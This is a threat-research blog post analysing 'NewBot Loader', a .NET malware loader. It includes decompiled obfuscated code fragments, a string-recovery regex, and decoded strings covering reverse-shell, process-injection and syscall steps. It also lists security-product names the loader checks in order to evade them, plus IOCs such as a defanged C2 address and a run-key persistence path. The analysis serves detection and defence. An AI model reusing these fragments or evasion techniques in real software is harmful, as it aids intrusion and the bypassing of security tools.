NewBot Loader

By Jason Reaves

Published: 2024-03-12 · Archived: 2026-04-05 16:10:05 UTC

By: Jason Reaves and Joshua Platt

Another day another new loader. During our research lately, we have discovered several new malware loaders that appear to be targeting corporate and enterprise environments.

This one calls itself NewBot Loader:

```
: AssemblyVersion("1.0.0.0")]
: Debuggable(DebuggableAttribute.DebuggingModes.Defaul
: AssemblyCompany("")]
: AssemblyConfiguration("")]
: AssemblyCopyright("Copyright ©  2024")]
: AssemblyDescription("")]
: AssemblyFileVersion("1.0.0.0")]
: AssemblyProduct("NewBot.Loader.Infrastructure")]
: AssemblyTitle("NewBot.Loader.Infrastructure")]
: AssemblyTrademark("")]
: CompilationRelaxations(8)]
: RuntimeCompatibility(WrapNonExceptionThrows = true)]
: ComVisible(false)]
: Guid("43FA7D66-6D96-4693-8C41-EC79AFB113A5")]
```

The loader is slightly obfuscated but some strings can still be seen giving a bit of insight into the capabilities.

```
<CloseShell>b__0
<OpenShell>b__0
<GetShell>b__0
<GetInstalledEdr>b__0
<GetBytes>b__0
<Inject>b__0
<ExecuteStrategy>b__0
pDOMAIN_CONTROLLER_INFO
download
Upload
Overload
get_Payload
set_Payload
set_MachineName
get_DomainControllerSiteName
get_DomainControllerName
```

```
get_UserName
get_ComputerName
get_DomainControllerForestName
get_CommandType
get_InstalledAntiMalware
set_UseShellExecute
```

The rest of the strings are loaded as single bytes:

```
prime.Anchor(string.Format(string.Concat(new string[]
{
    char.ConvertFromUtf32(69),
    char.ConvertFromUtf32(120),
    char.ConvertFromUtf32(101),
    char.ConvertFromUtf32(99),
    char.ConvertFromUtf32(117),
    char.ConvertFromUtf32(116),
    char.ConvertFromUtf32(105),
    char.ConvertFromUtf32(110),
    char.ConvertFromUtf32(103),
    char.ConvertFromUtf32(32),
    char.ConvertFromUtf32(123),
    char.ConvertFromUtf32(48),
    char.ConvertFromUtf32(125),
    char.ConvertFromUtf32(46),
    char.ConvertFromUtf32(46),
    char.ConvertFromUtf32(46)
```

We can recover them pretty easily though by hexlifying the entire binary and doing a regex:

```
>>> t = re.findall(r'''[a2,01]2520.{8}20..''', d)
>>> tt = [(x[-2:], x) for x in t]
>>> tt = [(chr(int(x[0],16)), x[1]) for x in tt]
>>> tt[0]
('\x00', '12520000000002000')
>>> out = ""
>>> for val in tt:
...   if val[1][0] == '1':
...     out += '\n'
...   out += val[0]
...
>>> out
'\n\x00\nOpening new shell...\ncmd.exe\n/k\n[\n] - \nInfo\nError\n[\n] - \nError\n[\n] - \n{0}:{1}\n
```

Decoded strings are appended to end of this blog, the config is mostly based on random data and a generated GUID but finding the calls to this involve going through the control flow obfuscation that is common in .NET involving overloaded class methods. We are going to briefly walk through a few relevant code blocks below:

```
namespace Overwrite
{
    public class Collectible : budget
    {
        private intermediate wrote;
        public bool Partner(string Deque, int receiver)
        {
            Random random = new Random();
            int clientId = random.Next();
            int magic = random.Next();
            string s = Guid.NewGuid().ToString().Substring(0 / 2 / (2 * 1
            byte[] bytes = Encoding.UTF8.GetBytes(s);
            Setmark config = new Setmark
            {
                Operand = bytes,
                decrypted = Deque,
                Abbr = receiver,
                exited = (ProtocolType.Icmp + 2) * (ProtocolType.Icmp & P
                Parentheses = magic,
                append = clientId
            };
            this.wrote = new intermediate(config);
            return this.wrote.Partner();
```

To find where this gets used we start with the below code following the built string ‘Loader started…’:

```
            char.ConvertFromUtf32(46),
            char.ConvertFromUtf32(46),
            char.ConvertFromUtf32(46)
        }));
        string location = typeof(Deserialized).Assembly.Location;
        Horizontally.Xoshiro(location);
        Expose expose = new Expose();
        Collectible primtive = new Collectible();
        expose.Intx(primtive);
        expose.Nego();
```

The first call Xoshiro sets up the registry key persistence via a run key. Next a new object is created which is also where our config is setup inside the Partner function, this object is then passed to Intx which just sets the internal Fixups variable to the new object:

```
// Ldtoken.Expose
public void Intx(budget Primtive)
{
    this.Fixups = Primtive;
}
```

This gets later used and what is passed in is the C2 host and port that is also decoded from the strings:

```
int port = Convert.ToInt32(array2[1956 - ((2942 | 2942) - (
bool flag3 = this.Fixups.Partner(host, port);
bool flag4 = (flag3 ? 1 : 0) == ((1588 & 1588) + -1588 | (0
if (!flag4)
{
    intermediate intermediate = this.Fixups.Procedures();
    Awaitable commandHandler = new Awaitable(intermediate);
    try
    {
        intermediate.System(delegate(worker x)
        {
            try
```

There is also a lot of strings related to AV, EDR and analyst tools which appear to mostly come from OSINT code[1]. These strings are loaded into a string array named Hierarchy:

```
namespace literal
{
    public static class named
    {
        private static string[] Hierarchy = new string[]
        {
            string.Concat(new string[]
            {
                char.ConvertFromUtf32(97),
                char.ConvertFromUtf32(99),
                char.ConvertFromUtf32(116),
                char.ConvertFromUtf32(105),
                char.ConvertFromUtf32(118),
                char.ConvertFromUtf32(101),
                char.ConvertFromUtf32(99),
                char.ConvertFromUtf32(111),
                char.ConvertFromUtf32(110),
                char.ConvertFromUtf32(115),
                char.ConvertFromUtf32(111),
                char.ConvertFromUtf32(108),
                char.ConvertFromUtf32(101)
            }),
            string.Concat(new string[]
            {
                char.ConvertFromUtf32(65),
```

Later these names are retrieved in another piece of code. The manual function called just returns the previous array. Next, a few directory locations are loaded:

```
.c static string Element()

:tring[] edrNames = named.Manual();
:tring result = string.Empty;
:tring[] expr_50 = new string[(4 | 4) / (4 / 2) + ((1973 | 197
expr_50[0 * 0 / (2 | 2) / (2 & 2 & 4 / 2)] = string.Concat(new

    char.ConvertFromUtf32(67),
    char.ConvertFromUtf32(58),
    char.ConvertFromUtf32(92),
    char.ConvertFromUtf32(80),
    char.ConvertFromUtf32(114),
    char.ConvertFromUtf32(111),
    char.ConvertFromUtf32(103),
    char.ConvertFromUtf32(114),
    char.ConvertFromUtf32(97),
    char.ConvertFromUtf32(109),
    char.ConvertFromUtf32(32),
    char.ConvertFromUtf32(70),
    char.ConvertFromUtf32(105)
```

The loaded directories are:

```
C:\Program Files (x86)
C:\Program Files
C:\ProgramData
```

The loader will then look for any sub folder containing the strings:

Press enter or click to view image in full size

```
});
string[] array = expr_50;
string[] array2 = array;
Func<string, bool> <>9__0;
for (int i = ((0 | 0) & 1332 + -1332) / (1976 + -1975 + 2 / 2); i < array2.Length; i += (5021 - 1617) / (1 + 1)
{
    string path = array2[i];
    string[] directories = Directory.GetDirectories(path);
    IEnumerable<string> arg_51B_0 = directories;
    Func<string, bool> arg_51B_1;
    if ((arg_51B_1 = <>9__0) == null)
    {
        arg_51B_1 = (<>9__0 = ((string x) => edrNames.Any((string y) => x.ToLower().Contains(y.ToLower()))));
    }
    string text = arg_51B_0.FirstOrDefault(arg_51B_1);
    bool flag = text == null;
```

Decoded strings allude to encoded payload extraction. The extraction routine reads in the first 16 bytes to acquire a key that will be utilized in the decoding routine. Unfortunately, we were unable to retrieve a payload at the time of our writing.

```
using (MemoryStream memoryStream = new MemoryStream(older, 0, older.Length))
{
 byte[] array = new byte[16];
 int num = memoryStream.Read(array, 0, 16);
 bool flag = num < 16;
 if (flag)
 {
```

```
     throw new Exception(string.Concat(new string[]
     {
        "Unable to extract key from encoded payload."
      }));
    }
```

Decoded strings

```
Opening new shell...
cmd.exe
/k
[
] -
Info
Error
[
] -
Error
[
] -
{0}:{1}
Client {0} connecting to {1}...
Unable to perform handshake.
Client {0} connected to {1}...
Unable to connect listener:
{0} received.
Sending {0} callback...
Disconnecting {0}...
Disconnected {0}...
Unable to extract key from encoded payload.
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
NewBot.Loader
NewBot.Loader
Unable to read x32 headers.
.text
.data
.pdata
.reloc
.rsrc
.rdata
Allocating memory...
NtAllocateVirtualMemory
Memory allocation failed.
Allocation ended with result {0} in {1:X}
Creating thread...
NtCreateThreadEx
```

```
Creating thread failed.
Creating thread finished with result {0} - {1}.
Starting thread...
NtWaitForSingleObject
Unable to start thread
Thread finished with status {0}.
Writing virtual memory...
NtWriteVirtualMemory
Unable to write virtual memory
Writing virtual memory finished with status {0}.
ntdll.dll
Unable to determine syscall for method:
Strategy cannot be null.
Executing {0}...
Command executed.
45.15.157[.]139:1337
SELECT * FROM Win32_OperatingSystem
Caption
Version
Error:
Unknown
Unknown
SELECT * FROM Win32_ComputerSystem
TotalPhysicalMemory
Error:
HARDWARE\DESCRIPTION\System\CentralProcessor\0
PROCESSOR_IDENTIFIER
ProcessorNameString
System
System Up Time
C:\Program Files (x86)
C:\Program Files
C:\ProgramData
No domain controller information found.
SELECT * FROM Win32_ComputerSystem
Domain
Error:
Unknown
activeconsole
ADA-PreCheck
ahnlab
anti malware
anti-malware
antimalware
anti virus
anti-virus
antivirus
```

```
appsense
attivo networks
attivonetworks
authtap
avast
avecto
bitdefender
blackberry
canary
carbonblack
carbon black
check point
ciscoamp
cisco amp
countercept
countertack
cramtray
crssvc
crowdstrike
csagent
csfalcon
csshell
cybereason
cyclorama
cylance
cynet
cyoptics
cyupdate
cyvera
cyserver
cytray
darktrace
deep instinct
defendpoint
defender
eectrl
elastic
endgame
f-secure
forcepoint
fortinet
fireeye
groundling
GRRservic
harfanglab
inspector
ivanti
```

```
juniper networks
kaspersky
lacuna
logrhythm
malware
malwarebytes
mandiant
mcafee
morphisec
msascuil
msmpeng
nissrv
omni
omniagent
osquery
Palo Alto Networks
pgeposervice
pgsystemtray
privilegeguard
procwall
protectorservic
qianxin
qradar
qualys
rapid7
redcloak
red canary
SanerNow
sangfor
secureworks
securityhealthservice
semlaunchsv
sentinel
sentinelone
sepliveupdat
sisidsservice
sisipsservice
sisipsutil
smcgui
snac64
somma
sophos
splunk
srtsp
symantec
symcorpu
symefasi
```

```
sysinternal
sysmon
tanium
tdawork
tehtris
threat
trellix
tpython
trend micro
uptycs
vectra
watchguard
wincollect
windowssensor
wireshark
withsecure
N/A
Unable to inject empty payload.
Unable to inject x86 payload.
(Not supported) - Unable to inject payload to non local process.
Portable Exe injection to
 started...
Portable Exe injection completed.
Creating section:
...
Section
 created.
Starting relocation
Relocating {0} to {1} with length: {2}...
Resolving imports...
Loading DLL
Loading injection process...
Injecting payload to
...
Copying shellcode to memory...
Payload injection finished with wait status {0}.
Unable to find handler for command: {0}
N/A
N/A
N/A
N/A
N/A
Unable to get args from command: {0}
Unable to decode shell action.
Unable to get model for {0}
Unable to get model for {0}
Unable to get model for {0}
```

```
payloadType
Loader started...
```

501a2d61bb9cdcdcbc1a77c1cf985c4d3781d60cb94380fbecac73cdbd2120baCode reuse

FastBinaryJSON

Get Jason Reaves's stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

SharpEDRChecker

IOCs

```
501a2d61bb9cdcdcbc1a77c1cf985c4d3781d60cb94380fbecac73cdbd2120ba
92f3fdcbeb7175d86daaab7ac7e07db4558c0933e91552f9a50420e841a47bb3

45.15.157.]139:1337
```

Registry:

```
\Software\Microsoft\Windows\CurrentVersion\Run\NewBot.Loader
```

WMI queries:

```
SELECT * FROM Win32_OperatingSystem
SELECT * FROM Win32_ComputerSystem
```

References

1:https://github.com/PwnDexter/SharpEDRChecker
